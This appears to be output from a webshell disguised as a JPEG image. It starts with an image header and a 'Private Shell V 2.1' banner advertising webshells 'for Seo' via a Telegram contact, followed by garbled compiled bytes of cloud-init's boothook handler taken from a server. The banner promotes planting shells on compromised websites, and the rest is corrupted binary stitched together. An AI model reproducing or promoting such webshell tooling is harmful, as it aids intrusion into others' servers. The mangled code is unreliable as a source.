����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
a
'�Dg� � @ sP d dl Z d dlZd dlmZmZmZ d dlmZ e �e �Z
G dd� dej�ZdS )� N)�handlers�subp�util)�
PER_ALWAYSc @ s* e Zd ZdgZdd� Zdd� Zdd� ZdS ) �BootHookPartHandlerz#cloud-boothookc K s2 t j�| t� |�d�| _d | _|r.|�� | _d S )NZ boothooks)r �Handler�__init__r Z get_ipath�boothook_dir�instance_idZget_instance_id)�self�pathsZ
datasource�_kwargs� r �@/usr/lib/python3.9/site-packages/cloudinit/handlers/boot_hook.pyr s
zBootHookPartHandler.__init__c C sJ t �|�}tj�| j|�}t jt �|�| jd d�}t � ||�
� d� |S )Nr )�prefixi� )r Zclean_filename�os�path�joinr Zstrip_prefix_suffixZdos2unix�prefixesZ
write_file�lstrip)r �payload�filename�filepath�contentsr r r �_write_part s
�zBootHookPartHandler._write_partc C s� |t jv rd S | �||�}z8| jr0dt| j�ini }t�d� tj|g|dd� W n@ tjyt t �
td|� Y n ty� t �
td|� Y n0 d S )NZINSTANCE_IDzExecuting boothookF)Z
update_envZcapturez#Boothooks script %s execution errorz'Boothooks unknown error when running %s)r ZCONTENT_SIGNALSr r
�str�LOG�debugr ZProcessExecutionErrorr Zlogexc� Exception)r �dataZctyper r Z frequencyr �envr r r �handle_part) s
��
�zBootHookPartHandler.handle_partN)�__name__�
__module__�__qualname__r r r r! r r r r r s r )
Zloggingr Z cloudinitr r r Zcloudinit.settingsr Z getLoggerr"